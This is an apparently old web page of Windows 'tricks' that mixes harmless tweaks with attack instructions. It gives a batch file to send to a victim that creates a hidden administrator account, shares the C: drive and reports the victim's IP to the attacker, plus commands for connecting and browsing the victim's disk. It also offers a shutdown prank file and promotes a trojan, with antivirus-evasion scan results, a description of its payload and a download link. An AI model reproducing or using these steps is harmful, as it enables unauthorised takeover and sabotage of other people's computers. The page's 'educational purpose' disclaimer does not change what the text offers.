This trick can make ur OPPONENT'S PC SHUTDOWN.read CAREFULLLY its very easy and excellent.
SHUTDOWN OPPONENT'S PC FORCEFULLY.
how it runs - you make a shutdown.exe and make ur enemy run it .

Open Notepad Write Shutdown -S (SHUTDOWN(SPACEBAR)-S)*
Save with name shutdown.bat

Send the save file through yahoo messenger or through mail to your friend.

OK NOW AS SOON AS UR FRIEND OR ENEMY WILL RUN IT HIS PC WILL SHUTDOWN,WITH THE COUNTDOWN STARTING FROM 30 SEC.

Download UNLIMITED from Rapidshare
1. Copy and paste this code :

@echo off
echo ipconfig /flushdns
ipconfig /flushdns
echo ipconfig /release
ipconfig /release
echo ipconfig /renew
ipconfig /renew

on your note pad or any other text editor

2. Save the file as : rapidshare.de.bat and leave it on your desktop

3. Every time you download from rapidshare double click on it!

Note:it works only on dynamic ip - koolinternet (source)

Increase your Bandwidth by 20%Windows uses 20% of your bandwidth!
A nice little tweak for XP. Microsoft reserves 20% of your available bandwidth for their own purposes (suspect for updates and interrogating your machine etc..)
Here's how to get it back:
Click Start-->Run-->type "gpedit.msc" (without the ")
This opens the group policy editor.
Then go to:Local Computer Policy-->Computer Configuration-->Administrative Templates-->Network-->QOS Packet Scheduler-->Limit Reservable BandwidthDouble click on Limit Reservable bandwidth.

It will say it is not configured, but the truth is under the 'Explain' tab :"By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.works on XP Pro, and 2000
other OS not tested.
Note: Do not limit it to 0%, It cuts your speed, Suggest 1-2% only.

Source -koolinternet

Open your dos prompt you will only need a dos prompt , and windows xp...

-Basics- Opening a dos prompt
-> Go to start and then execute and write cmd and press ok Now insert this command: net And you will get something like this

NET [ ACCOUNTS COMPUTER CONFIG CONTINUE FILE GROUP HELP HELPMSG LOCALGROUP NAME PAUSE PRINT SEND SESSION SHARE START STATISTICS STOP TIME USE USER VIEW ]

Ok in this tutorial we well use 3 of the commands listed here they are: net user , net share and net send We will select some of those commands and put them on a .bat file.

What is a .bat file? Bat file is a piece of text that windows will execute as commands. Open notepad and write there: dir pause And now save this as test.bat and execute it.

---------------------- Starting -------------------
-:Server:- The plan here is to share the C: drive and make a new user with administrators access.
Step one -> Open a dos prompt and a notebook The dos prompt will help you to test if the commands are ok and the notebook will be used to make the .bat file.
Command n 1-> net user nasir/add
What does this do? It makes a new user called nasir you can put any name you want .
Command n 2-> net localgroup administrators nasir/add
This is the command that make your user go to the administrators group. Depending on the windows version the name will be different. If you got an american version the name for the group is Administrators and for the portuguese version is administradores so it's nice yo know wich version of windows xp you are going to try share.
Command n 3->net share system=C: /unlimited
This commands share the C: drive with the name of system.
Nice and those are the 3 commands that you will need to put on your .bat file and send to your friend. -!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim opens the .bat it will send a message to your computer and you can check the victim ip.
->To see your ip in the dos prompt put this
command: ipconfig


-----------------------: Client :----------------
Now that your friend opened your .bat file her system have the C: drive shared and a new administrator user.
First we need to make a session with the remote computer with the net use command , you will execute these commands from your dos prompt.
Command n 1 -> net use victimip nasir
This command will make a session between you and the victim Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer victimipsystem
And this will open a explorer windows in the share system wich is the C: drive with administrators access!


Note : - The errorz association doesnt promote hacking . This is for educational purpose only .
ERRORZ team .

Multiple login in yahoo Without Using any Software . . !!!

You can login with multiple id's on the same yahoo messenger without any download or patch .Follow these steps :
1. Go to Start ----> Run . Type regedit, then enter .
2.Navigate to HKEY_CURRENT_USER --------> Software --->yahoo ----->pager---->Test
3.On the right page , right-click and choose new Dword value .
4.Rename it as Plural.
5.Double click and assign a decimal value of 1.Its done!!Now close registry and restart yahoo messenger and try Multiple Login .

Source - koolinternet

The Punisher Trojan
Antivirus Version Update Result AhnLab-V3 2007.6.20.1 06.20.2007 no virus foundAntiVir 7.4.0.34 06.20.2007 no virus foundAuthentium 4.93.8 06.19.2007 no virus foundAvast 4.7.997.0 06.20.2007 no virus foundAVG 7.5.0.467 06.19.2007 no virus foundBitDefender 7.2 06.20.2007 Generic.Malware.SDbTk.997E24F1CAT-QuickHeal 9.00 06.19.2007 no virus foundClamAV devel-20070416 06.20.2007 no virus foundDrWeb 4.33 06.20.2007 WIN.SCRIPT.ViruseSafe 7.0.15.0 06.19.2007 no virus foundeTrust-Vet 30.7.3727 06.19.2007 no virus foundEwido 4.0 06.20.2007 no virus foundFileAdvisor 1 06.20.2007 no virus foundFortinet 2.91.0.0 06.20.2007 no virus foundF-Prot 4.3.2.48 06.19.2007 no virus foundF-Secure 6.70.13030.0 06.20.2007 Backdoor.Win32.VB.genIkarus T3.1.1.8 06.20.2007 no virus foundKaspersky 4.0.2.24 06.20.2007 Backdoor.Win32.VB.genMcAfee.19.2007 VB-BackDoor.a.genMcft 1.2607 06.20.2007 no virus foundNOD32v2.20.2007 probably unknown NewHeur_PE virusNorman 5.80.02 06.20.2007 no virus foundPanda 9.0.0.4 06.20.2007 no virus foundPrevx1 V2 06.20.2007 no virus foundSophos 4.18.0 06.12.2007 Mal/VB-FSunbelt 2.2.907.0 06.09.2007 no virus foundSymantec 10 06.20.2007 no virus foundTheHacker 6.1.6.136 06.20.2007 no virus foundVBA32 3.12.0.2 06.20.2007 no virus foundVirusBuster 4.3.23:9 06.19.2007 no virus foundWebwasher-Gateway 6.0.1 06.20.2007 no virus found

No anti-virus detects this trojan. This can turnout to be deadly for the client .

When the victim opens server.exe this will close automatically windows firewall ,nod32 ,sygate firewall ,disable task managerServer copy: C:\WINDOWS\system32\Svchost32.exeTrojan Name: The Punisher Trojan Server size:294 KB Client Size:1,45 MBCoded In : Visual Basic
Author: Hackers Universitythe link is.....http://rapidshare.com/files/38467233/The_P...Trojan.rar.html

Source - koolinternet